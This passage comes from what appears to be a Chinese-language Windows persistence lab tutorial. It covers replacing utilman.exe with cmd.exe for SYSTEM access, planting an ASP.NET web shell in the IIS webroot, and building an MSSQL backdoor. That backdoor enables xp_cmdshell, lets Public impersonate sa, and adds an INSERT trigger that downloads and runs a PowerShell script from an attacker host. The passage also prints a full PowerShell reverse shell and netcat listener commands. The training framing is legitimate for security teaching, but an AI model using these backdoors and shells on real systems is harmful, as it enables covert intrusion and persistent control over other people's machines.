1 file(s) copied.

为了触发您的终端,我们将从开始按钮锁定您的屏幕:

lock session

最后,继续点击“轻松访问”按钮。由于我们用“cmd.exe”副本替换了“utilman.exe”,我们将获得具有 SYSTEM 权限的命令提示符:

backdoored utilman

Persisting Through Existing Services

如果您不想使用 Windows 功能来隐藏后门,您可以随时从可用于为您运行代码的任何现有服务中获益。此任务将研究如何在典型的 Web 服务器设置中植入后门。不过,任何其他您可以在一定程度上控制执行内容的应用程序都应该可以类似地植入后门。可能性是无穷无尽的!

使用 Web Shell

在 Web 服务器中实现持久性的常用方法是将 Web Shell 上传到 Web 目录。这很简单,将授予我们 IIS 中配置用户的访问权限,默认情况下为“iis apppool\defaultapppool”。即使这是非特权用户,它也具有特殊的“SeImpersonatePrivilege”,提供了一种使用各种已知漏洞升级到管理员的简便方法。有关如何滥用此权限的更多信息,请参阅 Windows Privesc Room

首先下载一个 ASP.NET web shell。此处 提供了一个现成的 web shell,但您可以随意使用任何您喜欢的。将其传输到受害者机器并将其移动到 webroot 中,默认情况下位于“C:\inetpub\wwwroot”目录中:

Command Prompt

C:\> move shell.aspx C:\inetpub\wwwroot\

注意:根据您创建/传输 shell.aspx 的方式,文件中的权限可能不允许 Web 服务器访问它。如果您在访问 shell 的 URL 时收到“权限被拒绝”错误,只需授予每个人对文件的完全权限即可使其正常工作。您可以使用 icacls shell.aspx /grant Everyone:F 来执行此操作。

然后我们可以通过指向以下 URL 从 Web 服务器运行命令:

http://10.10.182.21/shell.aspx

web shell

虽然 Web Shell 提供了一种在系统上留下后门的简单方法,但蓝队通常会检查 Web 目录中的文件完整性。对其中文件的任何更改都可能触发警报。

使用 MSSQL 作为后门

有几种方法可以在 MSSQL Server 安装中植入后门。现在,我们将研究其中一种滥用触发器的方法。简而言之,MSSQL 中的触发器允许您绑定在数据库中发生特定事件时要执行的操作。这些事件的范围可以从用户登录到从给定表中插入、更新或删除数据。对于此任务,我们将为任何插入到 HRDB 数据库的操作创建触发器。

在创建触发器之前,我们必须首先重新配置数据库上的一些内容。首先,我们需要启用 xp_cmdshell 存储过程。xp_cmdshell 是任何 MSSQL 安装中默认提供的存储过程,允许您直接在系统的控制台中运行命令,但默认情况下处于禁用状态。

要启用它,让我们打开“Microsoft SQL Server Management Studio 18”,可从开始菜单中找到。当要求进行身份验证时,只需使用Windows 身份验证(默认值),您将使用当前 Windows 用户的凭据登录。默认情况下,本地管理员帐户将有权访问所有数据库。

登录后,单击新建查询按钮打开查询编辑器:

New SQL query

运行以下SQL语句,启用MSSQL配置中的“高级选项”,并继续启用“xp_cmdshell”。

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

此后,我们必须确保任何访问数据库的网站都可以运行“xp_cmdshell”。默认情况下,只有具有“sysadmin”角色的数据库用户才能执行此操作。由于预计 Web 应用程序将使用受限数据库用户,因此我们可以向所有用户授予权限以模拟“sa”用户,即默认数据库管理员:

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

完成所有这些后,我们终于配置了一个触发器。我们首先切换到“HRDB”数据库:

USE HRDB

我们的触发器将利用“xp_cmdshell”执行 Powershell,从攻击者控制的 Web 服务器下载并运行“.ps1”文件。触发器将配置为在“HRDB”数据库的“Employees”表中进行“INSERT”时执行:

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

现在后门已经设置好了,让我们在攻击者的机器中创建“evilscript.ps1”,它将包含一个 Powershell 反向 shell:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};

$client.Close()

我们需要打开两个终端来处理此漏洞利用所涉及的连接:

  • 触发器将执行第一个连接以下载并执行 evilscript.ps1。我们的触发器为此使用端口 8000。
  • 第二个连接将是端口 4454 上的反向 shell,返回到我们的攻击者机器。

AttackBox

user@AttackBox$ python3 -m http.server  Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 

AttackBox

user@AttackBox$ nc -lvp 4454
Listening on 0.0.0.0 4454

一切准备就绪后,让我们导航到 http://10.10.182.21/ 并将员工插入 Web 应用程序中。由于 Web 应用程序将向数据库发送 INSERT 语句,我们的 TRIGGER 将为我们提供对系统控制台的访问权限。

Conclusion

在这个房间里,我们介绍了攻击者在机器上建立持久性的主要方法。你可以说持久性是在系统上植入后门的艺术,同时尽可能长时间不被发现,而不会引起怀疑。我们已经看到了依赖于不同操作系统组件的持久性方法,提供了各种方法来实现对受感染主机的长期访问。

虽然我们展示了几种技术,但我们只介绍了其中的一小部分。如果您有兴趣学习其他技术,可以使用以下资源: